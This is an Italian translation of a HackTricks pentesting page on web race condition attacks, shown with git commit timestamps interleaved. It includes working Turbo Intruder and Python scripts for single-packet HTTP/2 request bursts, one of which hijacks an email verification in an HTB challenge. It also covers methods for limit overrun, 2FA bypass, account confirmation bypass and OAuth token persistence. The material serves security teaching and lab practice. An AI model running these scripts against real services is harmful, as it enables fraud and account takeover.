hacktricks/pentesting-web/race-condition.md

420 lines
22 KiB
Markdown
Raw Normal View History

2022-08-31 22:35:39 +00:00
# Race Condition
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
Ottieni l'accesso oggi:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-31 01:25:17 +00:00
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:03:23 +00:00
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2024-02-10 13:03:23 +00:00
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-06 03:10:38 +00:00
{% hint style="warning" %}
Per ottenere una comprensione approfondita di questa tecnica, controlla il report originale su [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
{% endhint %}
## Potenziare gli Attacchi di Race Condition
L'ostacolo principale nel sfruttare le race condition è assicurarsi che più richieste siano gestite contemporaneamente, con **molto poco differenza nei tempi di elaborazione—idealmente, inferiore a 1ms**.
Qui puoi trovare alcune tecniche per Sincronizzare le Richieste:
#### Attacco a Pacchetto Singolo HTTP/2 vs. Sincronizzazione Ultimo Byte HTTP/1.1
* **HTTP/2**: Supporta l'invio di due richieste su una singola connessione TCP, riducendo l'impatto della variazione della rete. Tuttavia, a causa delle variazioni lato server, due richieste potrebbero non essere sufficienti per uno sfruttamento coerente della race condition.
* **HTTP/1.1 'Sincronizzazione Ultimo Byte'**: Consente di inviare in anticipo la maggior parte delle parti di 20-30 richieste, trattenendo un piccolo frammento, che viene quindi inviato insieme, raggiungendo un arrivo simultaneo al server.
La **Preparazione per la Sincronizzazione Ultimo Byte** coinvolge:
1. Invio di intestazioni e dati del corpo meno l'ultimo byte senza terminare lo stream.
2. Pausa di 100ms dopo l'invio iniziale.
3. Disabilitazione di TCP\_NODELAY per utilizzare l'algoritmo di Nagle per l'invio di frame finali in batch.
4. Ping per riscaldare la connessione.
L'invio successivo dei frame trattenuti dovrebbe risultare nel loro arrivo in un singolo pacchetto, verificabile tramite Wireshark. Questo metodo non si applica ai file statici, che di solito non sono coinvolti negli attacchi RC.
### Adattamento all'Architettura del Server
Comprendere l'architettura del target è cruciale. I server front-end potrebbero instradare le richieste in modo diverso, influenzando i tempi. Il riscaldamento preventivo della connessione lato server, attraverso richieste insignificanti, potrebbe normalizzare i tempi delle richieste.
#### Gestione del Blocco Basato sulla Sessione
I framework come il gestore di sessioni di PHP serializzano le richieste per sessione, oscurando potenzialmente le vulnerabilità. Utilizzare token di sessione diversi per ogni richiesta può aggirare questo problema.
#### Superare Limiti di Velocità o Risorse
Se il riscaldamento della connessione non è efficace, innescare intenzionalmente i ritardi dei limiti di velocità o risorse dei server web attraverso un diluvio di richieste fasulle potrebbe agevolare l'attacco a pacchetto singolo inducendo un ritardo lato server favorevole alle race condition.
## Esempi di Attacco
* **Tubo Intruder - Attacco a pacchetto singolo HTTP2 (1 endpoint)**: Puoi inviare la richiesta a **Turbo intruder** (`Estensioni` -> `Turbo Intruder` -> `Invia a Turbo Intruder`), puoi modificare nella richiesta il valore che desideri forzare per **`%s`** come in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e quindi selezionare **`esempi/race-single-packer-attack.py`** dal menu a discesa:
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Se stai per **inviare valori diversi**, potresti modificare il codice con questo che utilizza una wordlist dagli appunti:
```python
2024-02-10 13:03:23 +00:00
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
{% hint style="warning" %}
Se il sito web non supporta HTTP2 (solo HTTP1.1) utilizzare `Engine.THREADED` o `Engine.BURP` invece di `Engine.BURP2`.
{% endhint %}
* **Tubo Intruder - Attacco a singolo pacchetto HTTP2 (Diversi endpoint)**: Nel caso in cui sia necessario inviare una richiesta a 1 endpoint e poi a più endpoint per attivare il RCE, è possibile modificare lo script `race-single-packet-attack.py` con qualcosa del genere:
```python
def queueRequests(target, wordlists):
2024-02-10 13:03:23 +00:00
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
2024-02-10 13:03:23 +00:00
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
* È disponibile anche in **Repeater** tramite la nuova opzione '**Invia gruppo in parallelo**' in Burp Suite.
* Per **limit-overrun** potresti semplicemente aggiungere **la stessa richiesta 50 volte** nel gruppo.
* Per il **riscaldamento della connessione**, potresti **aggiungere** all'**inizio** del **gruppo** alcune **richieste** a una parte non statica del server web.
* Per **ritardare** il processo **tra** l'elaborazione **di una richiesta e un'altra** in 2 passaggi di sotto-stati, potresti **aggiungere richieste extra tra** entrambe le richieste.
* Per un RC **multi-endpoint** potresti iniziare inviando la **richiesta** che **va allo stato nascosto** e poi **50 richieste** subito dopo che **sfruttano lo stato nascosto**.
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* **Script Python automatizzato**: L'obiettivo di questo script è modificare l'email di un utente verificandola continuamente fino a quando il token di verifica della nuova email arriva all'ultima email (questo perché nel codice era presente una RC in cui era possibile modificare un'email ma ricevere la verifica sulla vecchia perché la variabile che indicava l'email era già popolata con la prima).\
Quando la parola "objetivo" viene trovata nelle email ricevute, sappiamo di aver ricevuto il token di verifica dell'email modificata e terminiamo l'attacco.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
```
### Raw BF
Prima della ricerca precedente, questi erano alcuni payload utilizzati che cercavano semplicemente di inviare i pacchetti il più velocemente possibile per causare una RC.
2024-02-10 13:03:23 +00:00
* **Repeater:** Controlla gli esempi della sezione precedente.
* **Intruder**: Invia la **richiesta** a **Intruder**, imposta il **numero di thread** su **30** all'interno del menu **Opzioni** e seleziona come payload **Null payloads** e genera **30.**
* **Turbo Intruder**
```python
def queueRequests(target, wordlists):
2024-02-10 13:03:23 +00:00
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
2024-02-10 13:03:23 +00:00
table.add(req)
```
* **Python - asyncio**
2022-10-11 22:51:42 +00:00
```python
import asyncio
import httpx
async def use_code(client):
2024-02-10 13:03:23 +00:00
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
2022-10-11 22:51:42 +00:00
async def main():
2024-02-10 13:03:23 +00:00
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
2022-10-11 22:51:42 +00:00
asyncio.run(main())
```
2024-02-10 13:03:23 +00:00
## **Metodologia RC**
### Sovraccarico del limite / TOCTOU
Questo è il tipo più basilare di condizione di gara in cui **vulnerabilità** che **appaiono** in luoghi che **limitano il numero di volte in cui puoi eseguire un'azione**. Come utilizzare lo stesso codice sconto in un negozio online più volte. Un esempio molto semplice si trova in [**questo rapporto**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o in [**questo bug**](https://hackerone.com/reports/759247)**.**
Ci sono molte variazioni di questo tipo di attacco, tra cui:
* Riscattare una carta regalo più volte
* Valutare un prodotto più volte
* Prelevare o trasferire denaro oltre il saldo del tuo conto
2024-02-10 13:03:23 +00:00
* Riutilizzare una singola soluzione CAPTCHA
* Superare un limite di velocità anti-bruteforce
### **Sottostati nascosti**
Sfruttare condizioni di gara complesse spesso implica approfittare di brevi opportunità per interagire con sottostati nascosti o **non intenzionali della macchina**. Ecco come affrontare questo:
1. **Identificare i potenziali sottostati nascosti**
* Inizia individuando i punti finali che modificano o interagiscono con dati critici, come profili utente o processi di reimpostazione della password. Concentrati su:
* **Archiviazione**: Preferisci i punti finali che manipolano dati persistenti lato server rispetto a quelli che gestiscono dati lato client.
* **Azione**: Cerca operazioni che modificano dati esistenti, che sono più suscettibili di creare condizioni sfruttabili rispetto a quelle che aggiungono nuovi dati.
* **Chiave**: Gli attacchi riusciti di solito coinvolgono operazioni basate sullo stesso identificatore, ad esempio nome utente o token di reimpostazione.
2. **Condurre una sonda iniziale**
* Testa i punti finali identificati con attacchi di condizione di gara, osservando eventuali deviazioni dagli esiti attesi. Risposte inaspettate o cambiamenti nel comportamento dell'applicazione possono segnalare una vulnerabilità.
3. **Dimostrare la vulnerabilità**
* Riduci l'attacco al numero minimo di richieste necessarie per sfruttare la vulnerabilità, spesso solo due. Questo passaggio potrebbe richiedere tentativi multipli o automazione a causa del tempismo preciso coinvolto.
2024-02-10 13:03:23 +00:00
### Attacchi sensibili al tempo
La precisione nel tempismo delle richieste può rivelare vulnerabilità, specialmente quando vengono utilizzati metodi prevedibili come i timestamp per i token di sicurezza. Ad esempio, generare token di reimpostazione della password basati sui timestamp potrebbe consentire token identici per richieste simultanee.
2024-02-10 13:03:23 +00:00
**Per sfruttare:**
* Utilizza un tempismo preciso, come un attacco a pacchetto singolo, per effettuare richieste di reimpostazione della password simultanee. I token identici indicano una vulnerabilità.
2024-02-10 13:03:23 +00:00
**Esempio:**
* Richiedi due token di reimpostazione della password contemporaneamente e confrontali. I token corrispondenti suggeriscono un difetto nella generazione dei token.
**Controlla questo** [**Laboratorio PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **per provare questo.**
## Studi di caso sui sottostati nascosti
2024-02-10 13:03:23 +00:00
### Pagare e aggiungere un articolo
Controlla questo [**Laboratorio PortSwigger**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) per vedere come **pagare** in un negozio e **aggiungere un extra** articolo che **non dovrai pagare**.
### Confermare altri indirizzi email
L'idea è **verificare un indirizzo email e cambiarlo contemporaneamente** con un altro per scoprire se la piattaforma verifica il nuovo indirizzo cambiato.
### Cambiare l'email in 2 indirizzi email basati su Cookie
Secondo [**questa ricerca**](https://portswigger.net/research/smashing-the-state-machine) Gitlab era vulnerabile a un takeover in questo modo perché potrebbe **inviare** il **token di verifica dell'email di un'email all'altra email**.
**Controlla questo** [**Laboratorio PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **per provare questo.**
2024-02-10 13:03:23 +00:00
### Stati nascosti del database / Bypass di conferma
Se **vengono utilizzate 2 scritture diverse** per **aggiungere** **informazioni** all'interno di un **database**, c'è un breve periodo di tempo in cui **è stata scritta solo la prima data** all'interno del database. Ad esempio, quando si crea un utente il **nome utente** e la **password** potrebbero essere **scritti** e **poi il token** per confermare il nuovo account creato viene scritto. Ciò significa che per un breve periodo il **token per confermare un account è nullo**.
Pertanto **registrare un account e inviare diverse richieste con un token vuoto** (`token=` o `token[]=` o qualsiasi altra variazione) per confermare immediatamente l'account potrebbe consentire di **confermare un account** di cui non si controlla l'email.
**Controlla questo** [**Laboratorio PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **per provare questo.**
### Bypass 2FA
Il seguente pseudo-codice è vulnerabile alla condizione di gara perché in un periodo molto breve il **2FA non è applicato** mentre la sessione viene creata:
```python
session['userid'] = user.userid
if user.mfa_enabled:
2024-02-10 13:03:23 +00:00
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
2024-02-10 13:03:23 +00:00
### Persistenza eterna di OAuth2
Ci sono diversi [**fornitori di OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Questi servizi ti permetteranno di creare un'applicazione e autenticare gli utenti che il fornitore ha registrato. Per farlo, il **client** dovrà **permettere alla tua applicazione** di accedere ad alcuni dei loro dati all'interno del **fornitore di OAuth**.\
Quindi, fino a questo punto è solo un normale accesso con google/linkedin/github... dove ti viene chiesto su una pagina: "_L'applicazione \<InsertCoolName> vuole accedere alle tue informazioni, vuoi permetterlo?_"
#### Condizione di gara in `authorization_code`
Il **problema** si presenta quando tu **accetti** e invii automaticamente un **`authorization_code`** all'applicazione maliziosa. Quindi, questa **applicazione sfrutta una Condizione di Gara nel fornitore di servizi OAuth per generare più di un AT/RT** (_Authentication Token/Refresh Token_) dal **`authorization_code`** per il tuo account. Fondamentalmente, sfrutterà il fatto che hai accettato l'applicazione per accedere ai tuoi dati per **creare diversi account**. Quindi, se **smetti di permettere all'applicazione di accedere ai tuoi dati, una coppia di AT/RT verrà eliminata, ma le altre saranno ancora valide**.
#### Condizione di gara in `Refresh Token`
Una volta che hai **ottenuto un RT valido** potresti provare a **sfruttarlo per generare diversi AT/RT** e **anche se l'utente cancella le autorizzazioni** per l'applicazione maliziosa di accedere ai suoi dati, **diversi RT saranno ancora validi**.
## **CG in WebSockets**
In [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) puoi trovare un PoC in Java per inviare messaggi websocket in **parallelo** per sfruttare **Condizioni di Gara anche nei Web Sockets**.
2024-02-10 13:03:23 +00:00
## Riferimenti
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
* [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
* [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-31 01:25:17 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2024-02-10 13:03:23 +00:00
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
2022-04-28 16:01:33 +00:00
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}